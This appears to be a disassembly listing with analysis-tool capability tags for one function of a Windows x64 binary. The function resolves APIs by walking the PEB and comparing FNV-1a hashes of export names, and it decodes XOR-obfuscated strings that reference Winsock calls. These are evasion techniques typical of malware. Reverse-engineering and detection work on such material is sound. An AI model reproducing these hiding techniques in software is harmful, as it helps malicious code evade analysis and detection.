Function at 0x140057450
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x14014a4c8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp - 0x41], reloc.WLDAP32.dll_Ordinal_46
movzx edi, cl
mov al, Ordinal_32
mov r8b, Ordinal_30
xor cl, 0x2e
movzx r10d, r8b
mov byte [rbp - 0x3e], cl
movzx r11d, al
xor r14d, r14d
mov dl, Ordinal_26
mov byte [rbp - 0x36], r14b
xor r8b, 0x2e
xor al, 0x2e
xor dl, 0x2e
mov byte [rbp - 0x3c], r8b
mov sil, Ordinal_30
mov byte [rbp - 0x3f], al
mov r9b, reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp - 0x3d], dl
mov bl, reloc.WLDAP32.dll_Ordinal_22
lea ecx, [r14 + 6]
xor sil, 0x2e
lea r8, [rbp - 0x40]
xor r9b, 0x2e
mov byte [rbp - 0x40], sil
xor r10b, 0x2e
mov byte [rbp - 0x3b], r9b
xor r11b, 0x2e
mov byte [rbp - 0x3a], r10b
xor bl, 0x2e
mov byte [rbp - 0x39], r11b
xor dil, 0x2e
mov byte [rbp - 0x38], bl
mov byte [rbp - 0x37], dil
call fcn.1400531d0
mov r9, rax
cmp sil, 0x30
jl 0x140057520
cmp sil, 0x39
jg 0x140057520
mov ecx, 0x9a0
call fcn.1400531d0
imul eax, r9d
inc r8
movsx r9d, sil
movzx esi, byte [r8]
add eax, 0xffffffd0
add r9d, eax
cmp sil, 0x30
jge 0x1400574f5
movsxd rax, r9d
mov r8b, reloc.WS2_32.dll_recv
mov dl, reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x51], reloc.WLDAP32.dll_Ordinal_33
xor dl, 0x21
mov byte [rbp - 0x4b], r14b
mov r9b, reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp - 0x4d], dl
mov ecx, dword [rax]
xor r9b, r8b
mov dword [0x14014b1e4], ecx
mov al, 0x18
mov cl, reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x50], r9b
xor cl, 0x21
xor r8b, 0x21
mov byte [rbp - 0x4e], cl
xor al, 0x21
mov ecx, 6
mov byte [rbp - 0x4c], r8b
mov byte [rbp - 0x4f], al
lea r8, [rbp - 0x50]
call fcn.1400531d0
mov r10, rax
cmp r9b, 0x30
jl 0x1400575a1
cmp r9b, 0x39
jg 0x1400575a1
mov ecx, 0x9a0
call fcn.1400531d0
imul eax, r10d
inc r8
movsx r10d, r9b
movzx r9d, byte [r8]
add eax, 0xffffffd0
add r10d, eax
cmp r9b, 0x30
jge 0x140057576
cmp dword [0x14014b1e4], r10d
mov qword [rsp + 0x100], r12
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], r15
jb 0x140057cf0
movzx r12d, word [0x1400d9d5e]
mov ecx, Ordinal_30
movzx r14d, word [str.null]
movzx esi, cx
movzx ebx, word [0x1400d9d62]
xor r12w, cx
movzx r11d, word [0x1400d9d64]
xor r14w, cx
movzx r10d, word [0x1400d9d66]
lea r15d, [rcx + 0x4b]
movzx r9d, word [0x1400d9d68]
lea edi, [rcx + 0x54]
movzx r8d, word [0x1400d9d6a]
xor bx, cx
movzx edx, word [str.Head]
xor r11w, cx
mov dword [rbp - 0x79], ecx
xor r10w, cx
xor r9w, cx
mov word [rbp - 0x31], cx
xor r8w, cx
xor dx, cx
movzx ecx, word [0x1400d9d6e]
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rbp - 0x75], ax
mov r13d, WSAGetLastError
xor r13w, word [rbp - 0x79]
xor cx, si
movzx eax, word [0x1400d9d70]
mov word [rbp - 0x2f], r13w
xor ax, si
mov r13d, reloc.WS2_32.dll_WSACleanup
xor r13w, word [rbp - 0x79]
mov word [rbp - 0x2d], r13w
mov r13d, reloc.WS2_32.dll_WSAStartup
xor r13w, word [rbp - 0x79]
mov word [rbp - 0x2b], r13w
movzx r13d, word [rbp - 0x75]
xor r13w, word [rbp - 0x79]
mov word [rbp - 0x29], r13w
mov r13d, Ordinal_50
xor r13w, word [rbp - 0x79]
mov word [rbp - 0x27], r13w
mov r13d, Ordinal_30
xor r15w, r13w
xor ax, r13w
mov word [rbp - 0x25], r15w
xor si, r13w
mov r15d, 0x33
mov word [rbp - 7], ax
xor r15w, r13w
mov word [rbp - 0x1b], si
mov word [rbp - 0x23], r15w
xor r12w, r13w
mov r15d, 0x79
mov word [rbp - 0x19], r12w
xor r15w, r13w
xor r14w, r13w
mov word [rbp - 0x21], r15w
xor bx, r13w
mov r15d, edi
mov word [rbp - 0x17], r14w
xor r15w, r13w
mov word [rbp - 0x15], bx
xor di, r13w
mov word [rbp - 0x1f], r15w
xor r11w, r13w
mov word [rbp - 0x1d], di
xor r10w, r13w
mov word [rbp - 0x13], r11w
xor r9w, r13w
mov word [rbp - 0x11], r10w
xor r8w, r13w
mov word [rbp - 0xf], r9w
xor dx, r13w
mov word [rbp - 0xd], r8w
xor cx, r13w
mov word [rbp - 0xb], dx
xor eax, eax
mov word [rbp - 9], cx
mov word [rbp - 5], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400577d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400577d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf2e51e7c
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400577d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400577b0
cmp r8d, 0x9819b883
je 0x1400577dc
test r9d, r9d
jne 0x140057790
mov rax, qword [rax]
jmp 0x140057760
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x2f]
add rax, r10
call rax
mov r12, rax
test rax, rax
jne 0x140057a35
movzx r15d, word [0x1400d9d5e]
lea r13d, [rax + 0x32]
movzx r14d, word [str.null]
lea edi, [rax + 0x37]
movzx eax, word [0x1400d9d70]
mov ecx, 0x5b
movzx ebx, word [0x1400d9d62]
movzx esi, cx
movzx r11d, word [0x1400d9d64]
xor r15w, cx
movzx r10d, word [0x1400d9d66]
xor r14w, cx
movzx r9d, word [0x1400d9d68]
xor bx, cx
movzx r8d, word [0x1400d9d6a]
xor r11w, cx
movzx edx, word [str.Head]
xor r10w, cx
mov dword [rbp - 0x79], ecx
xor r9w, cx
mov word [rbp - 1], cx
xor r8w, cx
xor dx, cx
xor r13w, si
movzx ecx, word [0x1400d9d6e]
xor ax, si
mov word [rbp + 3], r13w
mov r12d, Ordinal_46
xor r12w, word [rbp - 0x79]
mov r13d, 0x5b
mov word [rbp + 1], r12w
xor ax, r13w
xor cx, si
mov word [rbp + 0x29], ax
mov r12d, gethostname
xor si, r13w
xor r12w, r13w
mov word [rbp + 0x15], si
mov word [rbp + 5], r12w
xor r15w, r13w
mov r12d, 0x68
mov word [rbp + 0x17], r15w
xor r12w, r13w
xor r14w, r13w
mov word [rbp + 7], r12w
xor bx, r13w
mov r12d, 0x69
mov word [rbp + 0x19], r14w
xor r12w, r13w
mov word [rbp + 0x1b], bx
mov word [rbp + 9], r12w
xor r11w, r13w
mov r12d, reloc.WLDAP32.dll_Ordinal_46
mov word [rbp + 0x1d], r11w
xor r12w, r13w
xor r10w, r13w
mov word [rbp + 0xb], r12w
xor r9w, r13w
mov r12d, 0x75
mov word [rbp + 0x1f], r10w
xor r12w, r13w
mov word [rbp + 0x21], r9w
mov word [rbp + 0xd], r12w
xor r8w, r13w
mov r12d, 0x3f
mov word [rbp + 0x23], r8w
xor r12w, r13w
xor dx, r13w
mov word [rbp + 0xf], r12w
xor cx, r13w
mov r12d, edi
mov word [rbp + 0x25], dx
xor r12w, r13w
mov word [rbp + 0x27], cx
xor di, r13w
mov word [rbp + 0x11], r12w
xor eax, eax
mov word [rbp + 0x13], di
mov word [rbp + 0x2b], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140057a07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140057a07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x31a11a43
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140057a02
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400579e0
cmp r8d, 0x3ba869b3
je 0x140057a0c
test r9d, r9d
jne 0x1400579c0
mov rax, qword [rax]
jmp 0x140057990
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 1]
add rax, r10
call rax
mov r12, rax
test rax, rax
je 0x140057cf0
xor ecx, ecx
mov byte [rbp - 0x49], Ordinal_30
mov r8b, Ordinal_41
mov byte [rbp - 0x43], cl
mov r9b, reloc.WLDAP32.dll_Ordinal_45
mov al, 0x25
mov dl, Ordinal_45
xor r8b, 0x1c
xor al, 0x1c
mov byte [rbp - 0x45], r8b
xor dl, 0x1c
mov byte [rbp - 0x47], al
mov r10b, Ordinal_30
mov byte [rbp - 0x46], dl
xor r10b, r9b
lea r8, [rbp - 0x48]
xor r9b, 0x1c
mov byte [rbp - 0x48], r10b
mov ecx, 6
mov byte [rbp - 0x44], r9b
call fcn.1400531d0
mov r9, rax
cmp r10b, 0x30
jl 0x140057aaf
cmp r10b, 0x39
jg 0x140057aaf
mov ecx, 0x9a0
call fcn.1400531d0
imul eax, r9d
inc r8
movsx r9d, r10b
movzx r10d, byte [r8]
add eax, 0xffffffd0
add r9d, eax
cmp r10b, 0x30
jge 0x140057a84
cmp dword [0x14014b1e4], r9d
jb 0x140057cec
movdqa xmm1, xmmword [0x1400da360]
mov r8b, 0x4c
movd edx, xmm1
mov r11b, 0x57
movdqu xmmword [rbp - 0x71], xmm1
mov byte [rbp - 0x57], 0
movzx edi, r11b
xor byte [rbp - 0x6f], dl
movzx r14d, r8b
xor byte [rbp - 0x6e], dl
xor r8b, dl
xor byte [rbp - 0x6d], dl
xor r11b, dl
xor byte [rbp - 0x6c], dl
xor dil, dl
xor byte [rbp - 0x6b], dl
xor r14b, dl
xor byte [rbp - 0x6a], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x69], dl
mov cl, 0x47
xor byte [rbp - 0x68], dl
xor cl, dl
xor byte [rbp - 0x67], dl
mov r9b, 0x54
xor byte [rbp - 0x66], dl
xor r9b, dl
xor byte [rbp - 0x65], dl
mov r10b, reloc.WS2_32.dll_WSASetLastError
xor byte [rbp - 0x64], dl
xor r10b, dl
xor byte [rbp - 0x63], dl
mov bl, 0x42
xor byte [rbp - 0x62], dl
xor bl, dl
mov byte [rbp - 0x61], cl
mov sil, 0x4a
mov byte [rbp - 0x60], r8b
xor sil, dl
mov byte [rbp - 0x5f], r9b
mov r15b, Ordinal_79
mov byte [rbp - 0x5e], r10b
mov byte [rbp - 0x5d], r11b
mov byte [rbp - 0x5c], bl
mov byte [rbp - 0x5b], dil
mov byte [rbp - 0x5a], sil
mov byte [rbp - 0x59], r14b
psrldq xmm0, 1
movd eax, xmm0
xor al, dl
mov byte [rbp - 0x70], al
xor r15b, dl
mov byte [rbp - 0x58], r15b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140057bf7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140057bf7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3753ef6b
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140057bf2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140057bd0
cmp r8d, 0x18c6c63f
je 0x140057bfc
test r9d, r9d
jne 0x140057bb0
mov rax, qword [rax]
jmp 0x140057b80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x70]
add rax, r10
mov rcx, r12
call rax
mov rsi, rax
test rax, rax
je 0x140057cf0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140057cb7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140057cb7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x79b983d9
lea rax, [r10 + r9*4]
mov eax, dword [rax + rbx]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x140057cb2
nop dword [rax]
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x140057c90
cmp r8d, 0x9fbc848
je 0x140057cbc
test r9d, r9d
jne 0x140057c70
mov rcx, qword [rcx]
jmp 0x140057c40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
lea r8d, [r9 + 1]
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
xor ecx, ecx
call rax
test rax, rax
je 0x140057cf0
mov qword [0x14014b1d8], rsi
mov al, 1
jmp 0x140057cf2
xor al, al
mov r15, qword [rsp + 0x110]
mov r13, qword [rsp + 0x108]
mov r12, qword [rsp + 0x100]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400c8960
add rsp, 0xd0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret